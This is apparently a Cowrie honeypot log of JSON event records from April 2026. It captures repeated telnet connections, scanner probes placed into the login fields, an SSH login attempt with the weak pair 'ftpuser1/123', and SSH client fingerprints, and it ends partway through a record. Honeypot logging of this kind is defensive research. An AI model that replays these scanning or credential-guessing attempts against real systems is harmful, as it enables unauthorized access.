{"eventid":"cowrie.session.closed","duration":11.639355421066284,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:35.236531Z","src_ip":"34.140.175.139","session":"124726d08bf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10194,"dst_ip":"159.203.135.109","dst_port":23,"session":"e09ad4a7c167","protocol":"telnet","message":"New connection: 34.140.175.139:10194 (159.203.135.109:23) [session: e09ad4a7c167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:43.062146Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:43.067377Z","src_ip":"34.140.175.139","session":"e09ad4a7c167","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:43.071075Z","src_ip":"34.140.175.139","session":"e09ad4a7c167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0884864330291748,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:43.150545Z","src_ip":"34.140.175.139","session":"e09ad4a7c167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10208,"dst_ip":"159.203.135.109","dst_port":23,"session":"04db1b054677","protocol":"telnet","message":"New connection: 34.140.175.139:10208 (159.203.135.109:23) [session: 04db1b054677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:43.224261Z"}
{"eventid":"cowrie.session.closed","duration":0.004549264907836914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:43.228661Z","src_ip":"34.140.175.139","session":"04db1b054677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10218,"dst_ip":"159.203.135.109","dst_port":23,"session":"d010285b6438","protocol":"telnet","message":"New connection: 34.140.175.139:10218 (159.203.135.109:23) [session: d010285b6438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:43.377840Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10228,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b785640315f","protocol":"telnet","message":"New connection: 34.140.175.139:10228 (159.203.135.109:23) [session: 6b785640315f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:43.531436Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10244,"dst_ip":"159.203.135.109","dst_port":23,"session":"989515c3af7f","protocol":"telnet","message":"New connection: 34.140.175.139:10244 (159.203.135.109:23) [session: 989515c3af7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:43.687231Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10246,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ba6e5ddcaab","protocol":"telnet","message":"New connection: 34.140.175.139:10246 (159.203.135.109:23) [session: 1ba6e5ddcaab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:43.842458Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10250,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a5b23d108b5","protocol":"telnet","message":"New connection: 34.140.175.139:10250 (159.203.135.109:23) [session: 7a5b23d108b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:44.000996Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10262,"dst_ip":"159.203.135.109","dst_port":23,"session":"130e38a5496e","protocol":"telnet","message":"New connection: 34.140.175.139:10262 (159.203.135.109:23) [session: 130e38a5496e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:44.157031Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10278,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c3a5b54b507","protocol":"telnet","message":"New connection: 34.140.175.139:10278 (159.203.135.109:23) [session: 7c3a5b54b507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:44.310487Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10288,"dst_ip":"159.203.135.109","dst_port":23,"session":"c00099449588","protocol":"telnet","message":"New connection: 34.140.175.139:10288 (159.203.135.109:23) [session: c00099449588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:44.466752Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10302,"dst_ip":"159.203.135.109","dst_port":23,"session":"354215e2c21a","protocol":"telnet","message":"New connection: 34.140.175.139:10302 (159.203.135.109:23) [session: 354215e2c21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:44.697802Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10316,"dst_ip":"159.203.135.109","dst_port":23,"session":"58dd5a90b3bf","protocol":"telnet","message":"New connection: 34.140.175.139:10316 (159.203.135.109:23) [session: 58dd5a90b3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:44.851081Z"}
{"eventid":"cowrie.session.closed","duration":0.00490880012512207,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:44.855872Z","src_ip":"34.140.175.139","session":"58dd5a90b3bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10324,"dst_ip":"159.203.135.109","dst_port":23,"session":"70f4ceba96f4","protocol":"telnet","message":"New connection: 34.140.175.139:10324 (159.203.135.109:23) [session: 70f4ceba96f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:45.007356Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10340,"dst_ip":"159.203.135.109","dst_port":23,"session":"c52b3527a7f8","protocol":"telnet","message":"New connection: 34.140.175.139:10340 (159.203.135.109:23) [session: c52b3527a7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:45.161542Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10356,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c405ade44eb","protocol":"telnet","message":"New connection: 34.140.175.139:10356 (159.203.135.109:23) [session: 6c405ade44eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:45.317656Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10368,"dst_ip":"159.203.135.109","dst_port":23,"session":"84e077c70500","protocol":"telnet","message":"New connection: 34.140.175.139:10368 (159.203.135.109:23) [session: 84e077c70500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:45.471470Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10372,"dst_ip":"159.203.135.109","dst_port":23,"session":"92138dafbbb2","protocol":"telnet","message":"New connection: 34.140.175.139:10372 (159.203.135.109:23) [session: 92138dafbbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:45.625776Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10378,"dst_ip":"159.203.135.109","dst_port":23,"session":"10c9fc906263","protocol":"telnet","message":"New connection: 34.140.175.139:10378 (159.203.135.109:23) [session: 10c9fc906263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:45.780703Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10390,"dst_ip":"159.203.135.109","dst_port":23,"session":"b42db1c90083","protocol":"telnet","message":"New connection: 34.140.175.139:10390 (159.203.135.109:23) [session: b42db1c90083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:45.938049Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10398,"dst_ip":"159.203.135.109","dst_port":23,"session":"725d7aff2838","protocol":"telnet","message":"New connection: 34.140.175.139:10398 (159.203.135.109:23) [session: 725d7aff2838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:46.093062Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10408,"dst_ip":"159.203.135.109","dst_port":23,"session":"78015dee128c","protocol":"telnet","message":"New connection: 34.140.175.139:10408 (159.203.135.109:23) [session: 78015dee128c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:46.246624Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:46.252050Z","src_ip":"34.140.175.139","session":"78015dee128c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10422,"dst_ip":"159.203.135.109","dst_port":23,"session":"016e5bb81adc","protocol":"telnet","message":"New connection: 34.140.175.139:10422 (159.203.135.109:23) [session: 016e5bb81adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:46.406345Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":37654,"dst_ip":"10.17.0.5","dst_port":22,"session":"4117867b6225","protocol":"ssh","message":"New connection: 103.4.145.50:37654 (10.17.0.5:22) [session: 4117867b6225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:46.436809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:46.445024Z","src_ip":"103.4.145.50","session":"4117867b6225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10424,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea96a6515893","protocol":"telnet","message":"New connection: 34.140.175.139:10424 (159.203.135.109:23) [session: ea96a6515893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:46.562152Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:46.699325Z","src_ip":"103.4.145.50","session":"4117867b6225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":10438,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f1f4a176a54","protocol":"telnet","message":"New connection: 34.140.175.139:10438 (159.203.135.109:23) [session: 0f1f4a176a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:46.719949Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":50472,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9f1998993fe","protocol":"telnet","message":"New connection: 34.140.175.139:50472 (159.203.135.109:23) [session: d9f1998993fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:46.877684Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":50482,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bf7ff30ed0e","protocol":"telnet","message":"New connection: 34.140.175.139:50482 (159.203.135.109:23) [session: 3bf7ff30ed0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:47.032079Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":50486,"dst_ip":"159.203.135.109","dst_port":23,"session":"68452682e859","protocol":"telnet","message":"New connection: 34.140.175.139:50486 (159.203.135.109:23) [session: 68452682e859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:47.188230Z"}
{"eventid":"cowrie.session.closed","duration":0.004987955093383789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:47.193050Z","src_ip":"34.140.175.139","session":"68452682e859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":50494,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff645d83c4e","protocol":"telnet","message":"New connection: 34.140.175.139:50494 (159.203.135.109:23) [session: 2ff645d83c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:47.343777Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":50508,"dst_ip":"159.203.135.109","dst_port":23,"session":"5809da79707e","protocol":"telnet","message":"New connection: 34.140.175.139:50508 (159.203.135.109:23) [session: 5809da79707e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:47.499077Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 1931","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 1931] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:47.507694Z","src_ip":"34.140.175.139","session":"5809da79707e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123","message":"login attempt [ftpuser1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:47.768513Z","src_ip":"103.4.145.50","session":"4117867b6225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:49.025363Z","src_ip":"103.4.145.50","session":"4117867b6225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.09977650642395,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.598647Z","src_ip":"34.140.175.139","session":"5809da79707e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.2593994140625,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.603078Z","src_ip":"34.140.175.139","session":"2ff645d83c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.574557542800903,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.606529Z","src_ip":"34.140.175.139","session":"3bf7ff30ed0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.732117652893066,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.609644Z","src_ip":"34.140.175.139","session":"d9f1998993fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.892435073852539,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.612241Z","src_ip":"34.140.175.139","session":"0f1f4a176a54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.053139925003052,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.615173Z","src_ip":"34.140.175.139","session":"ea96a6515893","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.211717128753662,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.617929Z","src_ip":"34.140.175.139","session":"016e5bb81adc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.404733896255493,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.651225Z","src_ip":"34.140.175.139","session":"78015dee128c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.561400413513184,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.654350Z","src_ip":"34.140.175.139","session":"725d7aff2838","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.87661075592041,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.657204Z","src_ip":"34.140.175.139","session":"10c9fc906263","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.722124099731445,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.660018Z","src_ip":"34.140.175.139","session":"b42db1c90083","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.3452465534210205,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.662786Z","src_ip":"34.140.175.139","session":"6c405ade44eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.040156602859497,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.665791Z","src_ip":"34.140.175.139","session":"92138dafbbb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.197232961654663,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.668589Z","src_ip":"34.140.175.139","session":"84e077c70500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.50993275642395,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.671386Z","src_ip":"34.140.175.139","session":"c52b3527a7f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.668136358261108,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.675379Z","src_ip":"34.140.175.139","session":"70f4ceba96f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.9809250831604,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.678641Z","src_ip":"34.140.175.139","session":"354215e2c21a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.372077941894531,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.682433Z","src_ip":"34.140.175.139","session":"7c3a5b54b507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.219545602798462,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.686204Z","src_ip":"34.140.175.139","session":"c00099449588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.532865524291992,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.689788Z","src_ip":"34.140.175.139","session":"130e38a5496e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.69161057472229,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.692448Z","src_ip":"34.140.175.139","session":"7a5b23d108b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.853226661682129,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.695590Z","src_ip":"34.140.175.139","session":"1ba6e5ddcaab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.1675386428833,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.698845Z","src_ip":"34.140.175.139","session":"6b785640315f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.015098333358765,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.702192Z","src_ip":"34.140.175.139","session":"989515c3af7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.32785415649414,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.705551Z","src_ip":"34.140.175.139","session":"d010285b6438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.804815769195557,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:33:52.709768Z","src_ip":"34.140.175.139","session":"535ea8d1b5f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":7604,"dst_ip":"10.17.0.5","dst_port":22,"session":"49fbabc11e58","protocol":"ssh","message":"New connection: 107.150.103.210:7604 (10.17.0.5:22) [session: 49fbabc11e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:34:03.466058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:34:03.470861Z","src_ip":"107.150.103.210","session":"49fbabc11e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 